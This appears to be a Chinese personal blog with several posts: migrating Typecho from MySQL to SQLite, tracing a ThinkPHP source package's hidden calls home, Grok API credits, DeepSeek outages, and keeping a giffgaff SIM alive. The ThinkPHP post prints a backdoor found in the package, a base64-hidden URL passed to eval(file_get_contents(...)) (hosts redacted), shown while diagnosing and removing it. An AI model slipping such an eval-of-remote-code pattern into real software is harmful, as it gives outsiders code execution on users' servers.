你没猜错，我就是吃饱了撑的，折腾一下，练下手艺。
大道理当然也会讲嘛，mysql资源占用太大，博客这种东西，不用浪费资源，sqlite足也。（当然，我不会告诉你的是，我rs1000 8g的内存空余7g多，cpu占用是0.00)。
首先，需要导出当前mysql的sql文件，mysqldump人人都会，不用说了。但如果你问gpt的话，它会让你加上一些兼容的参数，一加，反而不行，中文乱码了，所以，用默认的参数导出即可。
然后下载sql语句转换工具，因为sqlite与mysql在sql层级有小小区别。 https://raw.githubusercontent.com/dumblob/mysql2sqlite/master/mysql2sqlite
转换sql文件为sqlite格式，再用sqlite3导入上述的sql文件即可。
将sqlite数据库文件放入php可以访问到的非web的目录（你总不希望别人直接下载你的数据库吧），重要的事情来了，一定要确保这个目录php进程有写权限。sqlite文件自然需要有写权限，但该目录也一定要有写权限，因为在同级目录sqlite会建临时的wal和shm文件。
最后，修改typecho的config.inc.php,将mysql改成sqlite:

$db = new Typecho_Db('Pdo_SQLite', 'typecho_');
$db->addServer(array (
  'file' => 'sqlite文件绝对路径',
), \Typecho\Db::READ | \Typecho\Db::WRITE);

如果php没有安装pdo_sqlite模块的话，也需要装一下。
在配置文件中加上define("TYPECHO_DEBUG",true); 可以看到详细的出错信息，如果你不幸出错了的话。

前些天弄了套thinkphp源码来玩，结果，今天发现极其卡顿，明显不正常。直觉就是远程访问了个啥东西，因为这卡顿时间还不固定，时快时慢，但昨天前又都是正常的。
花了几个小时，终于找到了问题。记录下排查核心点。

strace -fp $(pgrep -d, php-fpm) -e trace=network,open,read,write,connect 排查一下php偷偷在后面访问了些啥

找到了:

[pid  6412] getpeername(7, {sa_family=AF_INET, sin_port=htons(83), sin_addr=inet_addr("x.x.x.x")}, [128 => 16]) = 0
[pid  6412] getsockname(7, {sa_family=AF_INET, sin_port=htons(36752), sin_addr=inet_addr("x.x.x.x")}, [128 => 16]) = 0
[pid  6412] sendto(7, "POST /xxxx/getAuth HT"..., 186, MSG_NOSIGNAL, NULL, 0) = 186
[pid  6412] sendto(7, "--------------------------fab30f"..., 993, MSG_NOSIGNAL, NULL, 0) = 993

php在后台post了个 http://x.x.x.x:83/...../getAuth，显然，这就是问题了。
这台机器应该是今天不稳定，所以，getAuth很久才响应，引起了系统卡顿。
知道getAuth了就容易了，grep -r 一下，所有的getAuth都找到，然后log一下，瞬间就找到了执行它的代码:

        public function __construct($uniacid, $goodsName, $is_debug = false)
        {
                $this->is_debug = $is_debug;
                $this->token_path = dirname(__FILE__) . "/token.key";
                $this->uniacid = $uniacid . "";
                $this->goods_name = $goodsName;
            $this->base_url = base64_decode('xxxxxxxxxxxxxxxxxxxxxxxx');
、        $this->check_url = $this->base_url .'auth/xxxxxxx/index';
        $this->uploadWxapp_url = $this->base_url .'auth/xxxxxxxx/uploadWxapp';
        $this->getUpRecord_url = $this->base_url .'auth/xxxxxx/getUpRecord';
        $this->get_auth_url = $this->base_url .'auth/xxxxxx/getAuth' ;

再清楚不过了，它把base_url用base64加了下密，难怪grep不到那个ip地址。
把base_url改成 http://127.0.0.1，搞定，完事。

然后，用这个ip的base64值，又找到了很多好玩的东西:

<?php
namespace app\agent\controller;

use think\App;

class HouseController
{
   public function list ()
    {
    eval(file_get_contents(base64_decode('xxxxxxxxxx')));exit;
    }

}

上面base64解码出来是: http://xxxxxxx/excesqls.php
尼玛。。

上次为ai充钱是deepseek，到现在还是瘫痪状态，妥妥的废物，虽然我承认deepseek输出质量很高。
这次看看马斯克争不争气了。他家这么有钱，应该不缺钱买显卡，我觉得有戏。
这个充钱5刀以后每月送150刀活动有些人觉得有问题，其实不是的。
Get $150 worth of free API credits a month by sharing your API requests and help us improve Grok. Once enabled, you cannot opt-out.
英语文法上来说，这是很标准的每个月送150的说法,而不是一个月。中文直译才会以为a month是一个月的意思。
另外，一旦参加共享就不能退出其实也是旁证，领一个月就想要获得一个人终生的隐私，美国人会吊死马斯克的，就算不吊，也会用脚投票，老马门清得很，不会做傻事。

别误会，只是在说deepseek。
全网都是一片欢呼，每天都无数人在用所谓亲身体验表明它是有多么的遥遥领先。然而，这一个多月来，一个对话高达6个小时的cd时间，都不扯别的，至少要能用才能知道到底领不领先啊！
我在这个事情上一直很客观，毕竟我要靠ai来码代码养家，在先前还能正常用的情况下，我确实得出结论deepseek比chatgpt好用。然而，现在那些突然冒出来的自媒体甚至官媒，他们是凭什么在这些天得出结论的？
听说现在连秦始皇被复活了的搞笑段子也需要得辟谣才行，呵呵。

giffgaff到手一晃就半年了，该续期了。
昨天先按照传统的发短信，短信发完到app里面一看，9.69。9.99-0.3=9.69 (gg有个祖传bug，余额10会自动变成9.99)，没问题。但突然想到，会不会以前不小心发过，这0.3不是今天用的 ？有时候iphone会说开通facetime要发短信等等。查app里面credit使用清单但为空。说是24小时可能才更新，今天再看，还是没。。
好吧，第二招，打开数据开通漫游，维持了5秒左右，然后再关掉，再刷余额，哈，变9.67了。这次应该没问题了，虽然使用详单还是为空。那以后也可以这样来保号，一号传三代，人死号还在啊。半年0.02，一年就0.04，9.67，可以刷241年啊啊啊啊。